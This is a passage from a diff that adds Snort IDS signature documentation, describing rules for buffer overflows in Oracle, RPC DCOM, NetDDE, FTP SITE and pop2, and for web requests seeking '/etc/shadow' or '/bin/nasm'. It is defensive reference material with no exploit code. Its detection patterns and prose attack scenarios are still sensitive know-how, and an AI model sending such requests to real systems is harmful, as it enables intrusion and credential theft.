+An attacker can access sendmail.inc file to obtain MySQL login and use it for further attacks.
+
+--
+Attack Scenarios:
+An attacker gets mysql.class containing database login credentials. If the webserver is shared by multiple users, the attacker which is also user for instance, can connect to the database server using the login provided by mysql.class file and modify the database. Often the password doesn't differ from FTP login, HTTP user authentication, etc. because the authentication is centralised by the OS.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Sendmail.inc file doesn't exist or is handled by CGI which results probably in no output when an attacker tries to access the file.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Update Basilix script (www.basilix.org)
+
+Check files which contain php code for a suffix that is handled by the webserver CGI, else the webserver sends this file plaintext to an attacker
+
+Workaround: register .inc and .class in the same way .php or .php3  .php4 are registered.
+Note: .class is used by java applets usually
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Additional Snort documentation contributed by unknown
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3280.txt
+++ snort-2.8.5.2/doc/signatures/3280.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3280
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2648.txt
+++ snort-2.8.5.2/doc/signatures/2648.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2648
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "instantiate_online" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "refresh_template_name"
+variable to cause the overflow. The result could permit the attacker
+to gain escalated privileges and run code of their choosing. This
+attack requires an attacker to logon to the database with a valid
+username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck631.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2729.txt
+++ snort-2.8.5.2/doc/signatures/2729.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2729
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_varchar2
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2637.txt
+++ snort-2.8.5.2/doc/signatures/2637.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2637
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "drop_master_repobject" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck630.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/416.txt
+++ snort-2.8.5.2/doc/signatures/416.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+
+Sid:
+416
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Information Reply datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP Information Reply datagrams contain the network number of the network segment the datagram was generated on.  This could be an indication of an improperly configured host attempting to locate the network number of the subnet it is located in.
+
+Undefined ICMP Code values should never been seen on the network.  This could be an indication of nefarious activity on the network.
+
+--
+
+Detailed Information:
+This message is generated in response to an ICMP Information Request Message.  Hosts that generated ICMP Information Request Messages are attempting to obtain the network number of subnet it is on.  In normal situations the ICMP Code should be set to 0, values other than 0 are undefined and should never be used.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 16 datagrams are not normal network activity.  Hosts generating ICMP Information Request messages or Information Reply Messages should be checked for configuration errors.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1666.txt
+++ snort-2.8.5.2/doc/signatures/1666.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1666
+
+--
+Summary:
+This event is generated when a webserver returns a directory listing of
+it's cgi-bin.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when a webserver returns a directory listing of
+it's cgi-bin. The scripts listed may be valuable to an attacker when
+planning further attacks against the webserver. It may also be possible
+for the attacker to download the contents of the cgi-bin and view the
+contents of the script sources.
+
+--
+Affected Systems:
+	All web server platforms.
+
+--
+Attack Scenarios:
+An attacker can list the contents of the cgi-bin, discover the filename
+of a vulnerable script and use the information to execute an exploit
+against the server.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow directory content listing of the cgi-bin.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1372.txt
+++ snort-2.8.5.2/doc/signatures/1372.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+Sid:
+1372
+
+--
+Summary:
+This event is generated when an attempt is made to retrieve a protected
+system file on a host via a web request.
+
+--
+Impact:
+Information Gathering.
+
+--
+Detailed Information:
+The shadow file usually found in the /etc/ directory on UNIX based
+systems, contains login information for users of a host.
+
+In this case, the rule will generate an event due to the attempted
+transfer of a shadow file. This file is generally used on muli-user
+systems to provide greater security for user passwords. This file should
+only be readable by the super user. If an attacker was successful in
+retrieving this file, they could then obtain valid login information for 
+the system by using widely available password cracking tools on the file.
+
+The file may also be used to garner information that may be used in
+brute force password guessing attacks against the host.
+
+--
+Affected Systems:
+	All UNIX based systems running a Web Server.
+ 
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains 
+'/etc/shadow'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries 
+outside of it's designated web root or cgi-bin. This file may also be 
+requested on a command line should the attacker gain access to the 
+machine. Making the file read only by the superuser on the system will 
+disallow viewing of the file by other users.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/285.txt
+++ snort-2.8.5.2/doc/signatures/285.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+285
+
+--
+Summary:
+This event generated when an attempt is made to exploit a buffer overflow in the pop2 service.
+
+--
+Impact: 
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable host with the privileges of the user "nobody".
+
+--
+Detailed Information:
+Access to the user "nobody" can be obtained with pop2 or pop3 servers that support "anonymous proxy".  "Anonymous proxy" permits the use of a proxy pop server to access mail on another pop server where the user has a valid account.  This access to the proxy server as user "nobody".  A buffer overflow exists because of improper user input filtering, allowing the attacker to enter an overly long argment to the FOLD command.  This may permit the execution of arbitrary commands on the vulernable server with the privileges of the user "nobody".
+
+--
+Affected Systems:
+Debian Linux 2.1
+Redhat Linux 4.2, 5.0, 5.1, and 5.2
+University of Washington imap 4.4
+University of Washington pop2d 4.4
+
+--
+Attack Scenarios:
+An attacker may attempt to exploit a vulnerable pop2 server, permitting the execution of arbitrary commands with the privilege of user "nobody". 
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the pop2d version 4.51 or later. 
+
+Compile pop2d to not support anonymous proxing.
+
+--
+Contributors:
+Original rule writer unknown
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/283
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1909.txt
+++ snort-2.8.5.2/doc/signatures/1909.txt
@@ -0,0 +1,70 @@
+Rule:
+
+Sid:
+1909
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) Calendar
+Manager Service daemon, cmsd.
+
+--
+Impact:
+Remote root access. The attack may allow execution of arbitrary commands
+with the privileges of root.
+
+--
+Detailed Information:
+The cmsd RPC service implements the Calendar Manager Service daemon that
+is often distributed with the Common Desktop Environment (CDE) and Open
+Windows. The Calendar Manager daemon provides appointment and scheduling
+functions for CDE. A buffer overflow exists in the rtable_insert()
+function because of improper bounds checking, allowing the execution of
+arbitrary commands with the privileges of root.  One possible exploit
+vector is by inserting appointments into the Calendar Manager database.
+ 
+--
+Affected Systems:
+	SCO Open UNIX 8.0
+	SCO UnixWare 7.1.1
+	HP-UX 10.20, 10.24, 10.30, 11.0
+	Sun Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6, 7.0
+	Sun SunOS 4.1.3, 4.1.4
+
+--
+Attack Scenarios:
+The attacker can use the exploit code to overflow the buffer allowing
+execution of arbitrary commands with the privileges of root.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1353.txt
+++ snort-2.8.5.2/doc/signatures/1353.txt
@@ -0,0 +1,46 @@
+Rule:
+
+--
+Sid:
+1353
+
+--
+Summary:
+Attempted nasm command access via web. 
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a program source on a host. NASM is the Netwide Assembler which is capable of compiling a variety of sources on a variety of platforms into executable binary files. The attacker could possibly compile a program needed for other attacks on the system or install a binary program of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/bin/nasm'in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This command may also be requested on a command line should the attacker gain access to the machine. Whenever possible, sensitive files and certain areas of the filesystem should have the system immutable flag set to prevent files from being added to the host. On BSD derived systems, setting the systems runtime securelevel also prevents the securelevel from being changed. (note: the securelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1226.txt
+++ snort-2.8.5.2/doc/signatures/1226.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1226
+
+--
+Summary:
+This event is generated when an attempt to launch an X windows application on an X windows server is made.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+Implementations of the X windows system from the X consortium may use weak authentication methods when allowing remote machines to connect to a host running X windows.
+
+XDM is used to allow remote users access to the remote X window server. When configured incorrectly, this may allow an unathorised user to connect to the display.
+
+This event is generated when a user outside the protected network opens an X windows application on the remote X server.
+
+--
+Attack Scenarios:
+The remote attacker may scan the host for listening X window servers, then connect to the remote host using XDM. The attacker may then execute an X windows application on the remote host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow connections to X servers from hosts outside the protected network.
+
+Apply the appropriate vendor patches.
+
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS396
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2644.txt
+++ snort-2.8.5.2/doc/signatures/2644.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+2644
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases have a built-in function "from_tz" that is used to
+convert the format of a timestamp. This function contains a programming
+error that may allow an attacker to execute a buffer overflow attack.
+
+This overflow is triggered by a long string in the second parameter
+of the function.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string as the value for this command.
+The result could permit the attacker to gain escalated privileges and
+run code of their choosing. This attack requires an attacker to logon
+to the database with a valid username and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.nextgenss.com/advisories/ora_from_tz.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/902.txt
+++ snort-2.8.5.2/doc/signatures/902.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+902
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1529.txt
+++ snort-2.8.5.2/doc/signatures/1529.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+1529
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow or denial of service vulnerability associated with FTP SITE command. 
+
+--
+Impact:
+Remote access or denial of service.  A successful attack can cause a
+denial of service or allow remote execution of arbitrary commands with
+privileges of the process running the FTP server. 
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit various
+vulnerabilities associated with the FTP SITE command of different FTP
+servers. The Windows Serv-U FTP server 2.5a can be made to crash when an
+overly long argument is supplied to the SITE PASS command. The GuildFTPd
+free Windows FTP server 0.97 is vulnerable to a buffer overflow caused
+by issuing a SITE command that is 261 bytes or longer. A buffer overflow
+exists in Debian Linux 2.2 FTP daemon that is caused by issuing a SITE
+command that is 400 bytes or longer. The buffer overflow attacks may
+permit the execution of arbitrary commands with the privileges of the
+process running the FTP server. All of these attacks require login
+access to the vulnerable server via an authenticated or anonymous user.
+
+--
+Affected Systems:
+	Serv-U FTP server 2.5a.
+	GuildFTPd Server 0.97.
+	Debian 2.2 FTP server.
+
+--
+Attack Scenarios:
+An attacker may login to a vulnerable FTP server and enter an overly
+long file argument with the SITE command, causing a denial of service or
+buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2928.txt
+++ snort-2.8.5.2/doc/signatures/2928.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2928
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1107.txt
+++ snort-2.8.5.2/doc/signatures/1107.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1107
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1230.txt
+++ snort-2.8.5.2/doc/signatures/1230.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1230
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2682.txt
+++ snort-2.8.5.2/doc/signatures/2682.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2682
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_geom
+. This procedure is included in
+mdsys.md2.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1849.txt
+++ snort-2.8.5.2/doc/signatures/1849.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1849
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2966.txt
+++ snort-2.8.5.2/doc/signatures/2966.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2966
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
